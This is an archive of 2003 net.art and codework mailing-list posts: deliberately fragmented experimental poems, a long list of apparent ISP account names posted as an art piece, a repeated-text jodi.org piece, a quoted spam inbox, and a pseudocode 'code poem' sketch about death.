pistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwankspestwhackspeestwunks\npasswordspuswordspassworkspussworkspisswokspostwinkspistwonkspustwank/spestwhackspeestwunks\n\n\nduction prosti det nev erp 0neveevahd nar, nar et teb, eat tebe rolarolarola\nuqe (uke) hawaii! uqe (uke) hawaii! EN ON DECU\nDORP evah DRAWDRAW DRAWDRAW\nretfa retfa emac EMAC H C I H W\nSIEH PO popopo (illudo) +bruttocks+\nSoliph(sis) EHT TAHT\nEMIL BUS O/S YRTE OP\nOT ESIR EVAG\nCCHHAARLLEES!\nthatpower\nreasoninghuman\nofdeficiency\nawas IT\n          h\n       u\nn\nder\n\nfrom\ndown under\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: i'm here\nDate: Sun, 21 Sep 2003 12:40:20 -0400 (EDT)\n\n\n\ni'm here aalinovi aardvark aasurebk ababcock abacaprd abadillo abc-news\nabcnorio accntadm acegroup acinader acoustic adlstore aghalide agilbert\nagitator agoodman ajaquysh alaidlaw alanshaw albright alderson alexnken\naliceann allisson allshore allsouls alsontra amigaliv ampersnd amstrdam\nanalysis anderson andycapp andyhunt annelomb antiquar aobh30st apantazi\naperture arachlin aringsta aristotl arnstein artdsmtp arthures arubenst\naschmitt aviation awnbreel axminstr ayamaguc b50prhfa baloglou bcarroll\nbcousins beatrice beaugard bedmonds bermanmk bettison bfeitell bhorwich\nbierhors biggames billdsl2 billdsl3 billdsl4 billdsl5 billysig biodiver\nbitshift bjohnson blackwoo blksnbks blueding blythe10 blythe11 blythe12\nbobleigh bobwhite boomtown bornfree brevoort broccole brooklyn bruckstn\nbschmitt buonocor burmjohn burstein bwillick bwydance cajuncat canetoad\ncarcione cardillo cbingman ccfressv ccfshome ccfssres ccfssvol ccfteens\ncclc2101 cclc2102 ccostell ccushman celtalia cfhailey cfuhrman cgingold\ncgriffin chimaera chocolat chplusfe christos chrisxti cinnibar cjinterf\nclashley clinical cmacklin cmcmahan cobwarbk coldfire cometdog comsenco\nconarroe consubel consuelo coretest crackpot cravath1 crecalde cshapiro\ncudworth cwebmail dalberts danielle danleeny dansachs darklady davemarc\ndavidsol davidsun dawneden db-dynmc db-statc db-v-101 dbehrens dblanton\nddellutr ddelnevo ddwaller decarava decesare deerhake delivery demetria\ndeniman3 derwisch dfeldman dferraro dfreeman dgarrett dglinder dgolumbi\ndharding dhenwood dhindman dhs_test dhuppert diamante digitals diniakos\ndinsmoor direwolf dmbishop dmktoday dmsilver docdwarf dogooder dolittle\ndonnelly downtown dpmargol dpollack drunnels dshimmyo dsignpro dtesting\ndunvegan eastwood eckstein edstest3 eenrique egenburg ejmichel elcabong\nelextrem elibalin emarcley emmanuel erbachbk ericnobl erkyrath eshelton\neskwired fantasia fasteddy favretti fcabaret fernando festival fgenjzna\nfilmseps filstrup fireball fjelstad fkessler florenza flusardi fmechner\nfminunni fnoordin foodbank foodcoop forester franchin francine fredster\nfreedman friedman frissell frprev01 frprev02 funadmin fzanotti gabraven\ngaffrose gaillard gallancy gatherer gburnore gene9300 gesslein gezorsky\ngiantbee gigibyte giorgino glascock glharris globalst gloriava gmcharlt\ngmcmulle godfadda goldberg goldfarb goldrich goldstei golinski grincald\ngrottger grovewel gsandman guesswho gustavef hamilton hamiltro hammondj\nhardwick harrietg hd-fxsts hepworth heroncap herschel hhertzof hillside\nhoggardb holdener homeless honeypot hsharber huberman iacenter icnships\nimediata infinity info4biz infusion instrutk irenekim jamesroy jandrews\njanejess jankplus jasonlee jaysmith jbrailsf jbrennan jbridges jcarroll\njcentenn jcerovac jchauvin jcollins jcoulter jdaniels jdecarlo jdermody\njdjanzen jdnicoll jdywhite jederahi jeffkoch jeffreyl jeremiad jeremiah\njfleming jfrenkel jgoodman jgoodwin jgoulder jhandlin jlefevre jleighly\njmcadams johannas johquinn jolhoeft joreilly josiah17 jperkins jpeterso\njpetrucc jpolcari jposhea3 jrmedows jrosales jsantana jtinsley jtorchon\njudge487 juneospa justicar justride jvandore jwholler jwileman jwilkins\njwilliam jwinters kandylit kaonashi karlsson karlward katahdin katemole\nkathleen kathrynm kathyann kbongort kcollins kcresser kendallj kenstein\nkerausch kgerrard khinatsu kidspace kilowatt kirchner kkushner klevkoff\nklezkamp kmaguire knuckles koessler kpackard kperillo kspencer ksuccess\nktdetlie kunzmann kwalwert kwhitney l33td00d larshoel laurelgo lederman\nlenworth leongros lewinson lewislaw lexingtn lfischer lgiletti lgreebel\nlhandlin lieberma lifecare linefeed lissanne listserv lizetwin lizpetro\nljohnson lmcclary lmckevit local100 local372 lookfeel lowlight lrudolph\nlshapiro lucienne lunatick lundgren lyricabk lyricpac magister majordom\nmamafisa mancomp1 marathon marcotte maritime martesqu martolli martyros\nmarybeth mashopsi matthewf matthews mattruby mayerlef mbaldock mbeasley\nmccarthy mcmullen menikoff mephisto mesorah2 mhennaha michaelg micheleb\nmikhails mikochik milicent ministry mirasoft mjdowden mlwillis mmerrill\nmnemonic morrisae moskowit mpaloian mpglobal msandler mschwrtz msprague\nmsteeves mtheatre mukherje mwarner2 mytuxes2 nadramia netmanag newblack\nnewp3553 ngospina nhdesign nick9889 nightsky nightsta npanella nradisch\nnshapiro nstrauss nyjklein nytehawk obsidian oconnort octalpus oguntola\nolchansk omnimath operator opnspace oppedahl oppenhei ostgardr outsider\novertone pagejoel panixcfy parabola paradigm paranoid paratore parsons1\npartners pascuzzi patbrown patricia patrickd paulsomm paulsrug pbernard\npchmblln pdouglas pdworkin penmarsh pennsicw perlgerl pferriby pgriffin\nphatgirl philippa phillips philryan phrrngtn pianoman piermont pipeline\npjmooney plinehan plummerh polishuk priority ps221pta pspinrad pstessel\npubmedia pwamtest quotecrd radering randolph ravenone ravenrec raytrace\nrdalland readqweb rebelfux redshift remailer reqowner resadmin reynolds\nrgoldman rhaserot rhblumer rhockens rhprev01 richardk richardm richlweb\nrichmond richwood rickshaw ritzlart rjohnson rkarapin rlichter rmadison\nrmcmilli roadtrip roberson robkotch robprice robraven rosenber rruchman\nrsdepdir rshimmyo ruchelaw rufpeska russelld rwatkins s_parent sabercat\nsafehome samantha samfshmn sanderst sandwolf sarahsun sawbones sbankoff\nschaikel schuster schwartz scmiller scottdru sdamesek sdentist sdmendel\nsearcher secaucus seeedit1 selectad seligman sendmail sethbook sflovers\nshankman sheaslip shelly-g sheridan sherinyc shopsinm shurwitz simplify\nsinergia singlesm skallini skurland smartant smithlbk smorriso smthomas\nsnorwood snugharb sondheim sonicman southpaw spamdesk spamtony speacock\nspectrum spierrbk splinter spliteye spomeroy spopejoy sportsth srestivo\nsscotten sshereff starnet2 steinski stephanr stingray stvsloan subabuse\nsullivan sunmusic sunriseg sunrisew sunyoung surabhan susannah suzannen\nswinters synergos tbyfield tcontrol test-taa tgardner thalpern thebeave\nthechief theckman tishotto tjsatter tkswanso tmattson tmhunter tograham\ntokyomar tonobung torbooks torquery tpatrick trussler trystero tuppence\ntwallace twinlion uslynxbk valkyrie vannevar victortq visionex vunovick\nvutpakdi w2fmindc wagneric wasabibk watanabe wavexprs waynesch wbshadow\nwebadmin wellness williamd williams witherek woodruff wtatlock zakharov\nzamansky zarlengo zconcept zeldabee zenpizza\n\n\n___\n\n\nDate: Sat, 20 Sep 2003 01:06:45 +0200\nTo: syndicate {AT} anart.no\nFrom: 404 <404 {AT} jodi.org>\nSubject: caaist/English/Graphics/Englishaist/English/Graphics/Englishaist/English/G\n\n\n------------=_1064013376-635-953\n\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist/Englis\nh/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Englishaist\n/English/Graphics/Englishaist/English/Graphics/Englishaist/English/Graphics/Engl\nishaist/English/Graph\nhttp://www.peak.org/~dadaist/English/Graphics/English/manifeste_cannibale.html n\ncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancncancancancancancancancppppppppppppppppppppppppppncancanc\nancancancancancppppppppppppppppppppppppppncancancancancancancancpppppppppppppppp\nppppppppppncancancancancancancancppppppppppppppppppppppppppncancancancancancanca\nncppppppppppppppppppppppppppncancancancancancancancppppppppppppppppppppppppppnca\nncancancancancancancppppppppppppppppppppppppppncancancancancancancancppppppppppp\npppppppppppppppncancancancancancancancppppppppppppppppppppppppppncancancancancan\ncancancppppppppppppppppppppppppppncancancancancancancancpppppppppppppppppppppppp\nppncancancancancancancancppppppppppppppppppppppppppncancancancancancancancpppppp\nppppppppppppppppppppncancancancancancancancppppppppppppppppppppppppppncancancanc\nancancancancppppppppppppppppppppppppppncancancancancancancancppppppppppppppppppp\npppppppncancancancancancancancppppppppppppppppppppppppppncancancancancancancancp\npppppppppppppppppppppppppncancancancancancancancppppppppppppppppppppppppppncanca\nncancancancancancppppppppppppppppppppppppppncancancancancancancancpppppppppppppp\nppppppppppppncancancancancancancancppppppppppppppppppppppppppncancancancancancan\ncancppppppppppppppppppppppppppncancancancancancancancppppppppppppppppppppppppppn\ncancancancancancancancppppppppppppppppppppppppppncancancancancancancancppppppppp\npppppppppppppppppncancancancancancancancppppppppppppppppppppppppppncancancancanc\nancancancppppppppppppppppppppppppppncancancancancancancancpppppppppppppppppppppp\nppppncancancancancancancancppppppppppppppppppppppppppncancancancancancancancpppp\nppppppppppppppppppppppncancancancancancancancppppppppppppppppppppppppppncancanca\nncancancancancppppppppppppppppppppppppppncancancancancancancancppppppppppppppppp\npppppppppncancancancancancancancppppppppppppppppppppppppppncancancancancancancan\ncppppppppppppppppppppppppppncancancancancancancancppppppppppppppppppppppppppncan\ncancancancancancancppppppppppppppppppppppppppncancancancancancancancpppppppppppp\nppppppppppppppncancancancancancancancppppppppppppppppppppppppppncancancancancanc\nancancppppppppppppppppppppppppppncancancancancancancancppppppppppppppppppppppppp\npncancancancancancancancppppppppppppppppppppppppppncancancancancancancancppppppp\npppppppppppppppppppncancancancancancancancppppppppppppppppppppppppppncancancanca\nncancancancppppppppppppppppppppppppppncancancancancancancancpppppppppppppppppppp\nppppppncancancancancancancancppppppppppppppppppppppppppncancancancancancancancpp\nppppppppppppppppppppppppncancancancancancancancppppppppppppppppppppppppppncancan\ncancancancancancppppppppppppppppppppppppppncancancancancancancancppppppppppppppp\npppppppppppncancancancancancancancppppppppppppppppppppppppppncancancancancancanc\nancppppppppppppppppppppppppppncancancancancancancancppppppppppppppppppppppppppnc\nancancancancancancancppppppppppppppppppppppppppncancancancancancancancpppppppppp\nppppppppppppppppncancancancancancancancppppppppppppppppppppppppppncancancancanca\nncancancppppppppppppppppppppppppppncancancancancancancancppppppppppppppppppppppp\npppncancancancancancancancppppppppppppppppppppppppppncancancancancancancancppppp\npppppppppppppppppppppncancancancancancancancppppppppppppppppppppppppppncancancan\ncancancancancppppppppppppppppppppppppppncancancancancancancancpppppppppppppppppp\nppppppppncancancancancancancancppppppppppppppppppppppppppncancancancancancancanc\npppppppppppppppppppppppppppppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\nncancancancancancancancpppppppppppppppppppppppppp\n\n------------=_1064013376-635-953\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1064013376-635-953--\n\n\n\nDate: Fri, 26 Sep 2003 10:43:07 +0200\nFrom: fmadre {AT} free.fr\nTo: syndicate {AT} anart.no\nSubject: wake up syndicate and wash your face\n\n\n------------=_1064565909-626-10\n\nX Date Author Subject Size \n  Sat, 27 Sep 03 00:13:35 GMT  \"Araceli Grant\" <709procf {AT} compuserve.com>  \nDISCREET OVERNIGHT PHARMACY! aeggaz mjhg  2 kb \n  Fri, 26 Sep 03 10:56:43 GMT  \"Gayle Wright\" <zmi4hg {AT} compuserve.com>  DISCREET \nOVERNIGHT PHARMACY! nr btnf u biiwf ud  2 kb \n  Fri, 26 Sep 03 11:16:17 GMT  \"Suzette Cardenas\" <bguzb9 {AT} imaging501.com>  \nLevitra - Online Discount Prices  3 kb \n  Fri, 26 Sep 2003 09:39:17 +0800  \"piew {AT} uiiwdd.com\" <piew {AT} uiiwdd.com>  email \nmarketing  1 kb \n  Fri, 26 Sep 2003 10:26:01 +0200  \"Norman Bates\" <gongolante {AT} libero.it>  Re: \n[Marvel] daredevil  3 kb \n  Fri, 26 Sep 2003 18:26:44 +1200  robert.bond {AT} thecricket.co.za  Re: American \nPorn Stars Site  1 kb \n  Fri, 26 Sep 2003 09:07:59 -0700  \"DR TIJANI TONY\" <tonykelly {AT} zwallet.com>  \nurgent repond  3 kb \n  Fri, 26 Sep 2003 16:02:45 +0000  \"Brent Mercado\" <b.mercadoex {AT} online.fr>  \nYour Cash Opportunity  1 kb \n  Fri, 26 Sep 03 15:33:37 GMT  \"Tad Glover\" \n<0h0FU2L4f6xV {AT} superhottestwebdeal.com>  RE: Self Employed Health Insurance Free \nQuotes h  2 kb \n  Sun, 26 Sep 04 19:17:57 GMT  \"Brandie Kirby\" <rcvtozs36 {AT} msn.com>  Ambien \nonline no perscription required ymwge rxhls  3 kb \n  Thu, 25 Sep 2003 23:20:45 -0700  \"mr jerry\" <jerry_joseph {AT} hknet.com>  forward \nfor a transaction  3 kb \n  Fri, 26 Sep 2003 06:47:48 -0500  239553 {AT} mail.com  MUCH BIGGER PENIS? 239553  \n4 kb \n  Fri, 26 Sep 2003 01:31:55 +0100  kenny kamokai <kenny_km2003 {AT} indiatimes.com>  \nregards  3 kb \n  Fri, 26 Sep 2003 09:07:30 +0000  \"Diana Bishop\" <diana.bishopdw {AT} ginko.de>  \nRe:Order Sildenafil Citrate from home - no doctor required.  1 kb \n  Fri, 26 Sep 2003 22:32:23 +0000  \"Katherine Small\" <small_zi {AT} ispchannel.com>  \nRead your LOVER's EMAILS with new SPY Software. k sk9jhp116  2 kb \n  Fri, 26 Sep 2003 10:04:45 +0900  Info <info {AT} realtokyo.co.jp>  REALTOKYO MM \nVol. 147  6 kb \n  Fri, 26 Sep 03 22:06:23 GMT  \"Brad Wise\" <l9mnkrkao {AT} aol.com>  No need to \nworry about wrinkles! fvlbuqtruficgpycq i  1 kb \n  Fri, 26 Sep 2003 07:18:41 +0200  Luckyday International \n<proluckyday2003 {AT} netscape.net>  AWARD NOTIFICATION  4 kb \n  Fri, 26 Sep 03 16:51:19 GMT  \"Allie Nava\" <zw41ck {AT} msn.com>  All Natural \nInjection FREE! Alternative to BOTOX scrw  1 kb \n  Fri, 26 Sep 03 07:15:10 GMT  \"Elbert Mcdonough\" <zushaxnb {AT} hotmail.com>  All \nNatural Injection FREE! Alternative to BOTOX kde  1 kb \n  Sun, 26 Sep 04 18:30:11 GMT  \"Keven Parker\" <klmsdnka7a {AT} aol.com>  FREE RX \nPrescriptions - Valium-Prozac-Xanax-Soma kkhsbju tenutw li i  4 kb \n  Thu, 25 Sep 03 13:22:08 GMT  \"Coleen Parrish\" <14imjt {AT} compuserve.com>  \nWrinkle reduction: 61% improvement  2 kb \n  Fri, 26 Sep 2003 03:46:07 +0000  LiL7HG9J <liL7HG9J {AT} topnotchhotwebdeals.com>  \nSelf Employed Health Insurance Free Quotes  2 kb \n\nreject : action succeeded \n \nList Administration Panel  \nSubscribers  Edit List Config  Moderate  Customizing  Bounces  Restore shared  \nRemove List  \nRemove list completely remove the current list. Listmaster privileges are \nrequired to Restore list. \nCreate shared initialize the shared document web space. Delete shared close it. \nIt can be restored using Restore shared. \nEdit list config must be used with care : it allows to modify some of the list \nparameters. The list of parameters you can modify depends on your privilege. \nSubscribers : subscribers management, add, del, search, bounces, etc... \nModerate : reject and accept messages for distribution. \nCustomizing : editing of various files and messages attached to your list. \n \n\nf.\n\n\n------------=_1064565909-626-10\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1064565909-626-10--\n\n\n\nDate: Fri, 26 Sep 2003 23:04:31 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: AFTER BECKETT'S THE LOST ONES\n\nAFTER BECKETT'S THE LOST ONES\n {AT} tex0 = ('a' .. 'z'); # a-z/i\n$tsz0 = 1;\n$tsz1 = 5;\n\n\ns roa to b ned c ed cy linde der f n hig\n\nhigh high\n\ny obj t tak to cl\n\nclim e run witho re up lar q ar qu unxes hly t nd cu t hav her w he ex\n\nbody freez eze a climb ubjec\n\nquid m the ch of foreg go th adoxi y obj e sak unnel\n\n>From the n he no\n\nto p\n\nfreq frequ and s ho at t wou l giv se tw ly ex y ext ous z f rea eivab\n\na sc\n\nof d of de f det ining prigh right\n\nsubj\n\nstak ental ent m nt mo t mor e rep e req\n\nrequ times se. T\n\na ru eserv ned w r sex fancy t gaz\n\ngaze dge b yes c losed osed\n\nan ef d sig to th anqui ing j y tak e cyl\n\nis m ely n ly no\n\nheap\n\nvanq other thers\n\nwhat er nu r nev ept w e nex ually\n\nfroz s pla de. B rienc\n\ngrad duate ate f pping or th r ski hat j flick licke ing m ng mu ng fo s rep\n\nvanq e ter\n\nto s to sp of su om ev his w or ex red-y nct z\n\nsepa ted b\n\nby c e wid\n\nwide ved f trang of th anqui e maj t tak\n\ntail eedom ation tion\n\nttemp the q e fir m res lve t the u the v ent w is ex\n\nbody the z\n\nNo a climb dvanc ccord o the th of olong of th eep i\n\nto j\n\nrank iousl d him\n\nroun round nt sp the q uffer\n\nFirs First partu arriv\n\nbetw ontex\n\nbody the z ne. A ossib the c e and nd ne ive f o reg\n\nsuch uch i h inj speak r. Al ns am\n\namon among\n\nto p the q\n\nimpr r cas ny ot\n\nsatu y giv\n\nansw r fix ixity frenz in pa ong b ers c s and nlike and f\n\nlong as th s thi who j\n\nback ace l e com ythin as po s pos the q clear n cas doubt oubt\n\nh a v\n\nview or ex nally ird z ne ha ne ab n's c\n\nshad in he een f\namong ng th anqui y obj t tak to cl\n\nclim e run witho re up\nlar q ar qu unxes hly t nd cu t hav her w he ex\n\nbody freez\n\n\n\n(c) mwp\n\n\n\nDate:         Thu, 25 Sep 2003 14:13:02 +1000\nFrom: \"net.l[w]urker\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: _Squashed Tele.biology_  +  _Currenc.E of Game.a Narra.tiff [Fr]Actu[re]als\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n_____________________________________________________________\n_Currenc.E of Game.a Narra.tiff [Fr]Actu[re]als     02:08pm 25/09/2003\n_____________________________________________________________\n\n  -jump.cut.N.skip.repeat\n\n[edit]\n\n[edit_shift + blue_screen .]\n\n\nstaggered_visuals.\n\n-\n\nstop. + stitch deadth.becums.her[os]\n\n\nagain, stop.\n\n[blank + black .ness]\n\nre.start?????\n\n[strat.edgy.+.thermo.nuke.clear]\n\n\n[character bit .]\n\n[formed + danger(m)ous(e padding) snippet]\n\n\nstagered.repeat.of.intro.movie.\n\n\n\n__________________________________________________________\n_Squashed Tele.biology_     02:04pm 25/09/2003\n__________________________________________________________\n\n_multilogue_chatta.ring d.nied + snoofing hipsters drunk\non.burned.coiled[.M.]missions\n_swivel_partners_thru_tele_biology_co[p]r[awe.(nthr)al]e\n\n--demand zzzzzilence + crust.ness\n--raw_terminals dragged.in2. geo.dermals\n--meat.the.cost\n\n\nack!.nessing vs eWwww.ment.\n\n\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nDate: Tue, 23 Sep 2003 22:54:20 -0500\nFrom: Shaun Hanson <sbh20 {AT} HOTMAIL.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Cr/stoK/no>s.t.o. XX X\n\nCchristoknao  ///Ec..rs^t^+dcnn .m.r.mentis.m.r.mento\nckwriSto/Kano  Nctu*.unCase Cssvo:C:ssnva Nvr:td\nwcccwccrrstkn  eCHo s m yROn Syryn(ge)(ti)\nstokokirsotocan Chis + chis ++ (R)  protochristocano\nristy,chrysty,y rtcscnrctsncrtscncstrccn (febi)gnochicrst\nkrikt.os..CAN   ...k  ..a  ...s  ..t  .o .ff 533533533533533533\nxT<o>nC<n>  oooXSToooHCNooo me(r) ch a nt >grg<\ncanctocncocncncn    {AT} -R(cCcCpPoOnN-^--- orionchrist&t\nCKrIStICaNIsTIcA Arcane, no (id) H+P+L+Q+B+\ncKRiSTiCAnIStICa   aRCTaN aRCSaN aRCCaS ph,ys,to,ce,ne\nAnCAtAKrISsISs O* Cronyys #t(c0(n CRNo iTC na rco\nbelcantochristopho deconxionstoppo jX manuel/v.2\ncanemondo...X canmas Xdey -cond- wWsttsWw9!C\n<K>canno<> chrpinko ch<-->p \\'/'\\/'/\\/'/\\'/\\/'/\\'/'\\/'\nkarekano ^ ^ xmanxmantlexmantisxmentis cRP\\/S d)C.(og\n\n_________________________________________________________________\nAdd MSN 8 Internet Software to your existing Internet access and enjoy\npatented spam protection and more.  Sign up now!\nhttp://join.msn.com/?page=dept/byoa\n\n\n\nFrom: \"edx\" <edwork {AT} netvigator.com>\nTo: \"Florian Cramer\" <cantsin {AT} zedat.fu-berlin.de>,\nSubject: Another try at a Code Poem\nDate: Mon, 22 Sep 2003 15:42:23 -0400\n\nOK, let's pick something simple (though that may be the problem) like Death,\nlike as in the death of someone else.\n\nNow how would you code that? In CODE, death is a crash, and the first and\nforemost thing code must not do is crash. So perhaps for this poem, maybe we\nwant the app the crash? Perhaps an obvious thing like an autobiography that\ncrashes the OS at age 76?\n\nOr to be more general, what if we documented the app author's death? CODE\nand temporal order, debugging a simple little script from the Beyond. No -\nthat won't do!\n\nSo what else can we do? What if we treat death like an error and trap for\nit? That works for code but not biological organisms, which raises the\nquestion - to what extent are WE still biological?\n\nSo what if we just stipulate that some entity is dying, without worrying\nabout it's metaphysical constitution. It could be a way of thinking or a\nmass of protoplasm, what's the difference, ultimately? No matter how finely\nyour abstract this, this means people, cities, civilizations will die, but's\nlet's go ahead and see what happens.\n\nBy the dialectical principle, we know that death is absolution in birth, so\nwe now see why it is possible to debug, criticize, or even think in the\nfirst place.\n\nSo the code might go like this:\n\n[poem follows, I will send later, but here's an outline....]\n\nGiven(Death)\n\n    for each (glimpse of life)\n\n        SendToMemory(glimpse of life)\n\n    next\nEnd the Given\n\n\nSendToMemory(a)\n{\n    //test here if the incoming data is worth remembering\n\n    //test here if it has been heard before\n\n    //continue testing, then if it passes\n\n    //transform the incoming data\n\n    //record the transformed data if it gets this far\n}\n\nAgain, this is a shit poor example of a Code Poem, it won't compile or run,\nand it certainly doesn't meet the criteria for a code poem I suggested\nearlier.\n\nEven the simplest code poem would compile on both a human and machine OS.\n\n\n\n\n\n\nDate: Mon, 22 Sep 2003 22:05:25 +1000\nTo: syndicate {AT} anart.no\nFrom: \"net.l[w]urker\" <netwurker 